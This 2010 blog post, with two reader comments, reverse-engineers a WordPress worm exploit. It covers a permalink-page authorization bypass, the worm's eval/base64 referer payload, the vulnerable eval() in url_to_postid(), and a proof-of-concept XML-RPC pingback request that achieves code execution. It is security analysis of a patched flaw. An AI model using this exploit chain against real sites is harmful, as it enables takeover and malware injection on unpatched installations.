Monday, February 1, 2010

This Old Wordpress Worm

In my quest for some ammo to support my anti-Wordpress rants here in the office, I thought it would be a good idea to try to reproduce the exploit that was going around in that infamous Wordpress worm last summer. Turned out to be a little more time-consuming than I thought it would be, but also pretty interesting.

I wanted to get this done in the laziest way possible, so I used all of the information available that would keep me from having to actually read or understand any code, or you know, do any hard work at all.

The official post on the matter provided a lot of the necessary information, going into detail about the high-level functionality.
"This particular worm, like many before it, is clever: it registers a user, uses a security bug (fixed earlier in the year) to allow evaluated code to be executed through the permalink structure, makes itself an admin, then uses JavaScript to hide itself when you look at users page, attempts to clean up after itself, then goes quiet so you never notice while it inserts hidden spam and malware into your old posts."
Since I don't care about the payload, all I need to know is:
1. It requires a registered user
2. It exploits a previously resolved security bug
3. The attack vector is through the permalink structure
4. It has something to do with eval'ed code

A couple of additional blog posts provided sufficient detail to get started, notably http://blog.nachotech.com/?p=125 which provided the HTTP logs of the attacker's activity.

The first action is a call to /wp-login.php. That's just going to be logging in the registered user.

The second action is a post to /wp-admin//options-permalink.php. That's the page that modifies the permalink structure. Notice the extra slash. That provides an authorization bypass allowing a normal user to modify the permalink structure. I didn't bother looking any further into the mechanics, and just took this one as a gimme.

We are provided the payload that goes into the permalink structure, something like: %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Since this makes no sense to me right at the moment, I'm going to go back to the WP Trac system and try to find some more information. This was after the fact of the worm in question, but nevertheless very helpful. http://core.trac.wordpress.org/ticket/10733

So we now know that we want to hit an eval() in either classes.php or rewrite.php.

Looking at the worm's third action, it looks like it posts to xmlrpc.php, so we'll try to see if we can get there from here.

Looking at rewrite.php first, the eval() in rewrite.php is called in the url_to_postid() function.

// Substitute the substring matches into the query.
eval("\$query = \"" . addslashes($query) . "\";");

Referencing back to xmlrpc.php, we can see that url_to_postid() is called from the pingback functions, which is just perfect!

if ($post_ID = url_to_postid($pagelinkedto)) {

The XML-RPC method is 'pingback.ping' and it takes the "linked from" URL and "post linked to" URL as parameters. Since the "post linked to" parameter is the one that url_to_postid() operates on, that's the only one we need to get right.

Now the only question is: how is the url_to_postid() function actually constructing the $query variable to be eval()'ed?

I'm not sure how to explain how the rewrite rules and associated filters get loaded, so I'll instead provide the following code and output:

include('./wp-load.php');
$rewrite = $wp_rewrite->wp_rewrite_rules();
var_dump($rewrite);

array(87) {
["robots\.txt$"]=>
string(18) "index.php?robots=1"
[".*wp-atom.php$"]=>
string(19) "index.php?feed=atom"
...
["([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/%evil%/trackback/?$"]=>
string(118) "index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&%evil%$matches[5]&tb=1"
...

Check out what happens. If the token we put into the permalink structure (%evil%) isn't understood, it's included verbatim in the query string. This is what's later going to be eval'ed.

So, back to url_to_postid(). When rewrite rules are enabled, it will loop through each rewrite rule trying to match against our query. If we get a match, we get to eval() the query string.

foreach ($rewrite as $match => $query) {
...
if ( preg_match("!^$match!", $request_match, $matches) ) {
$query = preg_replace("!^.+\?!", '', $query);
eval("\$query = \"" . addslashes($query) . "\";");

So what we want to do is match our request to one of the regex patterns whose resulting query contains the code we want to eval(). Reading that sentence makes my head hurt, but it's really pretty simple.

One thing that's interesting is that we're going to have a lot of the characters we'd want to use stripped out. The way the attacker did it was actually pretty cool:
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

or, easier to read:

%&({${evil}}|.+)&%

First off, what's the mechanism through which evil() gets executed? The PHP docs are pretty weak on this point, but this was a handy little guide: http://cowburn.info/2008/01/12/php-vars-curly-braces/

Now, why the regex-y looking parens and extra chars? Turns out if we want to include a dollar sign to indicate a PHP variable, that will break the regex matching, being a special character meaning "end of line". What the extra characters allow us to do is to turn the match into an OR which will match anything between %& and &%.

Speaking of which, I still haven't figured out why we need the ampersands. Might just be a delimiter. I didn't use them.

As a proof-of-concept, I modified my permalink structure to look like:

/%year%/%monthnum%/%day%/%postname%/%({${phpinfo()}}|.+)%/

Then posted the following to xmlrpc.php

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>http://source</string>
</value>
</param>
<param>
<value>
<string>http://wordpresshost/wordpress/2010/01/29/hello-world/%({${phpinfo()}}|.+)%/trackback/</string>
</value>
</param>
</params>
</methodCall>

Which triggered the phpinfo() call. From there we can include any payload to execute arbitrary code.

I do want to call out the original attacker's payload as particularly clever (decode a base64-encoded referer header, and eval it.)

2 comments:

Mike said...

Nicely reverse-engineered and presented. I'm a PHP developer and I still don't follow all of it, though that's my own lack of focus. :)

Tyler said...

*insert snarky comment about PHP developers here*

Seriously though, is there any particular part that's not clear? I'd be more likely to blame my lack of writing ability than anyone else's lack of comprehension.